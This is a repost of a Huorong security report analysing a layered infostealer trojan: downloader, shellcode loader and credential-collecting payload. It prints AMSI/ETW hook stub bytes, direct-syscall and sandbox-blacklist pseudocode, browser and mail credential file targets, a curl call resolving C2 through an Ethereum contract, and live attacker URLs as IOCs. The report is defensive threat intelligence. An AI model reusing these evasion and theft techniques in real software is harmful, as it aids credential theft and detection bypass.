文章总结: 火绒安全捕获一类采用三层分层架构的模块化窃密木马,通过干扰层、加密外壳层与数据收集执行层独立投递,利用反分析与反检测机制规避查杀。该木马经钓鱼邮件、社交软件及仿冒网站传播,窃取浏览器凭据、邮件及主机信息等敏感数据,并支持后续下发远控模块。火绒产品已具备全攻击链拦截能力,建议用户警惕非官方下载渠道。
综合评分: 90
文章分类: 恶意软件,应急响应,威胁情报,安全工具
多层伪装躲避防护检测!分层式模块化窃密木马解析
原创
火绒安全
火绒安全
火绒安全
2026年9月17日 17:00
北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
近日,火绒安全工程师在威胁狩猎过程中捕获一类具备多层对抗能力的模块化窃密木马。该样本采用干扰层+加密外壳层+数据收集执行层的三级分层架构,三层组件相互独立投递、分别装载,通过反分析与反检测机制规避安全软件查杀及沙箱动态分析。该类窃密木马主要通过伪装欺骗的手进行投放,包括钓鱼邮件;QQ、微信等社交软件与网盘资源;仿冒软件官网、绿色软件站等虚假下载网站,用户下载工具时会一并捆绑恶意程序,这类恶意程序在解压后,第一层干扰组件率先执行,后续分层依次落地加载,整套恶意代码不会一次性释放完整木马本体,以此对抗安全检测。
用户一旦中毒,该木马会扫描本地文档、浏览器账号密码、聊天记录、邮箱、密钥、各类业务凭证等,并将收集到的文件回传给攻击者,实现用户信息窃取,同时该木马还会在电脑中长期驻留,攻击者可后续下发更多恶意模块,植入远控、勒索程序;同时前置干扰层还会破坏调试环境、阻碍各类安全产品采集日志,提升后续溯源处置的难度。
目前,火绒安全产品已具备对该恶意软件全攻击链的精准识别与拦截能力,可有效阻断其下载、加载及窃密行为。
查杀图
01
流程图
02
阶段一:干扰型下载器
第一层先调用垃圾线程启动器,然后使用硬编码URL http://185.177.239.241:5001/dit.bin,调用下载执行函数加载并执行载荷。
后台“垃圾任务”线程的构成与作用
register_noise_worker_threads通过一个间接线程封装把一组的任务函数逐个注册为常驻线程;经确认,可把任务分成以下类型:
1.为纯CPU忙等型,执行高强度数学、大整数、素数筛选及随机数/数据混洗计算,持续消耗CPU资源以拖延沙箱分析;
2.为注册表噪音型,频繁枚举、创建并删除HKCU下的随机注册表键和值,制造大量注册表操作事件;
3.为文件噪音型,在%TEMP%中反复创建、读写并删除随机临时文件,制造文件I/O噪音;
4.为GUI噪音型,反复创建隐藏的随机绘图窗口并执行大量GDI绘制操作,随后销毁窗口以制造GUI事件噪音;
5.为进程噪音型,随机启动多个常见系统程序及命令解释器,并短暂运行或随机终止,制造大量进程创建/终止事件;
6.为网络探测型,对多个常见网站发起HTTP GET请求并读取响应,制造网络访问与连接噪音;
7.为命令执行型,随机执行网络配置、文件清理、系统信息查询及磁盘检查等命令,制造命令执行与系统活动噪音;
综合来看,这些线程通过持续执行各类杂务操作,在主机上制造高频系统活动,以拖延沙箱分析、制造大量事件噪音并分散监控关注点。
下载并内存执行
download_and_execute_payload是下载执行器,将URL下载至缓存文件,读取至内存后删除缓存文件,随后以内存线程方式执行载荷。
03
阶段二:dit.bin–自解密的反射加载器
dit .bin由入口跳转、配置上下文、加密载荷和尾部低熵的加载主代码组成。
执行时,入口跳转主代码区,靠返回地址完成位置无关自定位,是典型的PIC shellcode方式。主函数读标志位后选择走loader_core分支;若该字段非0则执行另一条更复杂的装载路径。
loader_core首先解析三个API,随后分配缓冲区,把整个ctx复制过去,若ctx+0x234 == 3,则以ctx+0x14 处16 字节为“key”、ctx+0x4 处16字节为“secret”,调用decoder_region就地解密从ctx+0x23C开始、长度ctx[0]−0x23C的密文;
解密前
解密后
解密后,依次解析配置中的5个DLL,在已加载模块链中查找,缺失则通过回调加载。
加载前,根据配置中的Hook目标,通过PEB和Export Directory定位函数入口,直接覆盖12字节Stub实施内联Hook。
自定义stub为:
mov rax, [rsp+28h] and dword ptr [rax], 0 xor eax, eax retn int 3
mov rax, [rsp+30h] and dword ptr [rax], 0 xor eax, eax retn int 3
本样本实际只Hook了3个函数AmsiScanBuffer、AmsiScanString、EtwEventWrite,WLDP与另两个导出仅存在于配置名单。
最后按载荷描述结构中的类型字段分派:类型1/2走type12_handler_a/b/finalize,类型3/4走type34_handler,类型5/6走type56_handler,本样本配置只启用了type34_handler这一种。
type34_handler是一个标准的手动映射PE加载器,将第三阶段载荷加载到内存执行。
04
阶段三:收集型载荷
整体流程
解密得到winhttp.dll后依次执行三项环境检查,全部通过后初始化C2并进入主循环main_c2_loop。
反分析与环境检测
样本在开始收集数据之前,会进行环境检测。
4.2.1 直接系统调用
样本通过解析系统核心模块的导出表,逐个提取以Nt 开头的系统函数的调用编号,运行时按编号直接向内核发起请求。
void BuildSyscallTable(uint8_t *module){ IMAGE_EXPORT_DIRECTORY *exp =GetExportDirectory(module); uint32_t numberOfNames = exp->NumberOfNames; DWORD *functions =(DWORD *)(module + exp->AddressOfFunctions); DWORD *names =(DWORD *)(module + exp->AddressOfNames); WORD *ordinals = (WORD *)(module + exp->AddressOfNameOrdinals); for (uint32_t i = 0; i < numberOfNames; i++) { char *name = module + names[i]; if (name[0] != 'N' || name[1] != 't') continue; uint32_t hash = HashNtName(name); WORD ordinal = ordinals[i]; uint8_t *func =module + functions[ordinal]; int found = -1; for (uint32_t off = 0; off < 0x20; off++) { if (*(uint8_t *)(func + off) == 0xC3) break; if (*(uint32_t *)(func + off) ==0xB8D18B4C) { uint32_t ssn =*(uint32_t *)(func + off + 4); found = ssn; break; } } if (found != -1) { if (!AlreadyInTable(hash)) { AddEntry(hash, found); } } }}
hash–ssn映射表
4.2.3 已加载模块黑名单
启动后遍历进程已加载模块,将模块名经固定算法计算为32位校验值,并与18项黑名单比对;命中任一项则终止进程。
bool Guard_ModuleScan(void){ uint32_t blacklist[18]; memcpy(blacklist, g_sandbox_dll_hashes, sizeof(blacklist)); /* 72 字节定长哈希表 */ PEB *peb = (PEB *)__readgsqword(0x30); LIST_ENTRY *head = &peb->Ldr->InLoadOrderModuleList; for (LIST_ENTRY *p = head->Flink; p != head; p = p->Flink) { LDR_DATA_TABLE_ENTRY *e = CONTAINING_RECORD(p, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (!e->BaseDllName.Buffer) continue; uint32_t seed = ModuleHash_Seed(); /* 初始化上下文值 ^ 0xAE42BCCC */ uint32_t h = WideModuleHash(e->BaseDllName.Buffer, seed); /* 逐 WORD + 8 轮 LFSR + 取反 */ for (int i = 0; i < 18; i++) if (h == blacklist[i]) return true; /* 命中沙箱/分析工具 DLL → 入口随即 ExitProcess */ } return false;}
沙箱/AV/ 蜜罐DLL黑名单
| CRC | dll名 | 类别 |
| — | — | — |
| 0x48101B84 | api_log.dll | CWSandbox / Sunbelt |
| 0xE2F7FAD3 | apimonitor-x86.dll | API Monitor |
| 0xA23DC8C3 | apimonitor-x64.dll | API Monitor |
| 0x7413D625 | avghookx.dll | AVG |
| 0x19E323D6 | avghooka.dll | AVG |
| 0xEA330F69 | cmdvrt32.dll | Comodo |
| 0x35BE6B7A | cmdvrt64.dll | Comodo |
| 0xF8ECF22B | detours.dll | Detours |
| 0x3C479D15 | dir_watch.dll | CWSandbox |
| 0x228E7355 | npcap.dll | 抓包 |
| 0x77E72FE2 | pstorec.dll | ThreatAnalyzer / Sunbelt 蜜罐 PST |
| 0x4B777536 | sbiedll.dll | Sandboxie |
| 0x43D6CA05 | snxhk.dll | Avast |
| 0x200178C7 | vmcheck.dll | Virtual PC |
| 0xBF3AE5D4 | — | — |
| 0x8F5DF816 | winpcap.dll | 抓包 |
| 0x22ED877F | wpcap.dll | 抓包 |
| 0x10393D8E | wpespy.dll | WPE / Wine |
数据窃取
样本采用两种数据窃取方式:
- 指令驱动型:由攻击者服务器实时下发指令,可指定文件、目录或浏览器数据类别,实施按需定向窃取。
- 自动收集型:每次与服务器交互结束阶段自动执行固定数据收集,无需攻击者下发指令。
样本的窃取范围覆盖“账号类数据、浏览类数据、平台类数据、邮件类数据、主机类数据”五个方向,具体如下:
| | | |
| — | — | — |
| 方 向 | 目标 | 窃取内容 |
| 浏 览 器 凭 据 | Chrome、 Edge、Brave等Chromium系浏览器 | Login Data、Login Data For Account、Web Data、Network\Cookies、History、\Local State、\Local Storage\leveldb、\Local Extension Settings\、\Sync Extension Settings\、_0.indexeddb.leveldb、os_crypt、encrypted_key、app_bound_encrypted_key |
| 浏 览 器 凭 据 | Firefox | key4.db、\key4.db、cert9.db、cookies.sqlite、logins.json、formhistory.sqlite、places.sqlite、\prefs.js、\storage\default、^userContextId=4294967295\idb |
| 平 台 登 录 态 | Steam | steam .exe、\REGISTRY\MACHINE\SOFTWARE\Valve\Steam、InstallPath、\config\config .vdf、 %LocalAppData%\Steam\local .vdf |
| 平 台 登 录 态 | Roblox | %LocalAppData%\Roblox\LocalStorage\RobloxCookies .dat |
| 邮 件 数 据 | Outlook | %UserProfile%\Documents\Outlook Files、*.pst、 [email protected] |
| 主 机 信 息 | 操作系统与硬件 | 操作系统版本、时区、安装时间、显卡型号 |
| 主 机 信 息 | 安全防护状态 | 已安装杀毒软件的显示名称与运行状态 |
| 主 机 信 息 | 身份信息 | 计算机名、当前登录用户名 |
| 界 面 数 据 | 屏幕 | 多显示器环境下的整屏截图 |
| 进 程 与 软 件 | 系统清单 | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\、DisplayName;回传 文件名Software .txt、Processes .txt |
命令与控制
4.4.1 URL解密
样本C2采用双通道寻址,3个静态地址经ChaCha20加密存储于二进制中,另有1个动态地址通过以太坊JSON-RPC实时解析获取。
| |
| — |
| 明文URL |
| http://trencts.shop:8592/notifications |
| http://smaring.shop:9895/collections |
| http://quicbud.shop:7647/tasks |
| 链上寻址 |
以太坊链上动态寻址机制,C2地址的部分解析被托管到以太坊公链之上。通过公共以太坊节点查询特定合约的返回值,再从返回结果中提取URL。
curl "https://ethereum-rpc.publicnode.com" -H "Content-Type: application/json" -d "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"eth_call\",\"params\":[{\"to\":\"0x999941b74F6bbc921D5174A5b29911562cd2D7CF\",\"data\":\"0xc2fb26a6\"},\"latest\"]}" -o resp
响应的解析流程为:先解密键名result,定位到result字段后遍历至NUL终止符,提取最后64个十六进制字符并拼接为URL。
{"jsonrpc":"2.0","id":1,"result":"0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000017687474703a2f2f666967687477612e62697a3a35393032000000000000000000"}
4.4.2请求包构造
样本与C2的交互均封装于HTTP请求中,采用标准表单传输指令与状态,上报采集结果时使用多段表单。请求头通过伪造Host和伪装User-Agent进行通信伪装。
POST /tasks HTTP/1.1 Host: github.com ← 伪装头User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36Content-Type: application/x-www-form-urlencoded ← 表单通道(取命令/上报)(multipart/form-data; boundary=… 用于采集数据上传;access_token=<全局缓冲>&step=<十进制轮次,div 10 + 0x30 转文本>&type=<命令类型>&data=<命令数据>[&id=…&name=…&path=…&depth=…&sync=…&indb=…&extensions=…&link=…&lib=…]
请求体由一组键值对构成,键名在样本内不以明文保存,而是在运行时逐字解密后再拼装,键值的语义如下:
| | |
| — | — |
| 字段 | 作用 |
| access_token | 会话标识 |
| step | 轮次序号,用于排序与去重;数值在拼装时转为十进制文本 |
| type | 指令类型,决定本机执行哪一类动作 |
| data | 指令数据或对象列表 |
| 其他参数 | 目标路径、名称、通配规则、递归深度、是否跟踪链接、大小上限、扩展编号与名称、组件路径、数据库与同步标志等 |
4.4.3 响应包解析
样本实现了一套自带的JSON解析器。
/* 响应解析器:节点 = { uint64 value; node *next; char *key }; */int Json_Parse(const char *s, const char **out_end, uint64_t *out_root, POOL *pool){ int depth = -1; char kind[32]; /* 容器类型栈(2=数组 3=对象) */ void *cur[32], *pending[32]; /* 当前成员链 / 待挂载值 */ for (;;) { while (isspace((unsigned char)*s)) s++; switch (*s++) { case '"': /* 字符串:去转义;\uXXXX → UTF-8 */ case '0' ... '9': case '-': /* 数字:整数/小数/指数 → IEEE-754 double 位模式 */ case 't': case 'f': case 'n': /* true/false/null */ case '[': case '{': /* 容器入栈;depth 达 32 → 返回 4 */ case ']': case '}': /* 容器闭合;类型不符 → 返回 6 */ case ',': case ':': /* 分隔符校验;有键无值 → 返回 8 */ default: return 7; /* 非法 token */ } /* 值就绪:作为数组元素 / 对象成员挂入链表;depth == -1 时返回 0解析完成 */ }}
响应解析完成后,样本会从中取出两个公共键:type与data;其余键按指令类型选择性读取。完整字段集如下:
| | | |
| — | — | — |
| 字段 | 类型 | 用途 |
| type | 数值 | 指令号(0–5),决定分发目标 |
| step | 数值 | 轮次 |
| data | 字符串/ 数组/ 对象 | 指令主数据或对象列表 |
| path | 字符串 | 目标路径 |
| name | 字符串 | 目标名称/ 上传文件名 |
| mask | 数组 | 通配规则(支持否定) |
| depth / link / size | 数值 | 递归深度/ 是否跟踪链接/ 大小上限 |
| value | 字符串 | 读取参数 |
| extensions | 对象 | 扩展清单 |
| id / lib | 字符串 | 条目编号/ 组件路径 |
| indb / sync | 数值 | 数据库标志/ 同步标志 |
| mode | 数值 | 执行方式 |
| url | 字符串 | 下载地址 |
4.4.4 C2命令分发
样本把响应中的type作为唯一分发依据。
int cmd_dispatch(void *ctx, int type){ switch (type) { /* 0–5 命中 6 项跳转表 */ case 0: return dir_entry_collect(ctx, json_root); /* 目录/条目树采集 */ case 1: return cleanup_and_return_0(); /* 空操作 */ case 2: return file_copy_collect(json_root); /* 任意文件窃取 */ case 3: return ext_and_creds_collect(json_root); /* 浏览器数据(history/credentials/cookies/ldb) */ case 4: return ext_table_collect(ctx, json_root); /* 枚举目录, Firefox/NSS 库 key4.db */ case 5: return cleanup_and_return_0(); /* 收尾:下一跳投递 / 执行 / 下载 */ }}
在每轮交互收尾时,样本都会无条件执行一轮本地收集,与服务器是否下发指令无关:枚举已安装软件清单、枚举运行中进程清单、取走游戏平台的登录态数据、按条件抓取多显示器整屏截图、采集显示设备信息,并分两批压缩加密上传服务器。
火绒安全提示
该木马可通过层层伪装躲避安全防护软件检测,既会自动偷取电脑里的各类隐私资料,也能听从攻击者指令定向盗取文件、账号信息。用户一旦中招,将会带来极大的信息外泄风险。
✍✍火绒安全在此提醒广大用户:
1.不要随意点开陌生邮件、聊天软件发来的不明文件,尽量不下载网上的破解、激活类工具;
2.保持安全防护软件正常开启,重要文件做好备份;
3.如果电脑出现异常卡顿、莫名联网等情况,请及时全盘扫描排查风险。
IOC
| | |
| — | — |
| 类型 | 值 |
| C2 URL | http://trencts.shop:8592/notifications |
| C2 URL | http://smaring.shop:9895/collections |
| C2 URL | http://quicbud.shop:7647/tasks |
| 链上解析C2 | http://fightwa.biz:5902 |
| 以太坊RPC | https://ethereum-rpc.publicnode.com |
| 合约地址 | 0x999941b74F6bbc921D5174A5b29911562cd2D7CF |
| URL | http://185.177.239.241:5001/dit.bin |
| |
| — |
| sha256 |
| 11db652095abfe193306e29164342735aeb7c6bdccb51a966c97253535c61b7f |
| 02a6e1e9bd07c3fd38b481be8408540e5aa1ac09d0be3c6281100689ba744941 |
| 4f70dd2e2d7655ffda9809c1598fb0c162cb9109591eaa23f5f9780d6e48d8df |
关于火绒
火绒安全成立于2011年,是一家专注、纯粹的安全公司,致力于在终端安全领域为用户提供专业的产品和专注的服务,并持续对外赋能反病毒引擎等相关自主研发技术。多年来,火绒安全产品凭借“专业、干净、轻巧”的特点收获了广大用户的良好口碑。火绒企业版产品更是针对企业内外网脆弱的环节,拓展了企业对于终端管理的范围和方式,提升了产品的兼容性、易用性,最终实现更直观的将威胁可视化、让管理轻便化,充分达到保护企业信息安全的目的。
点点赞
点分享
点喜欢
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:火绒安全 火绒安全
火绒安全《多层伪装躲避防护检测!分层式模块化窃密木马解析》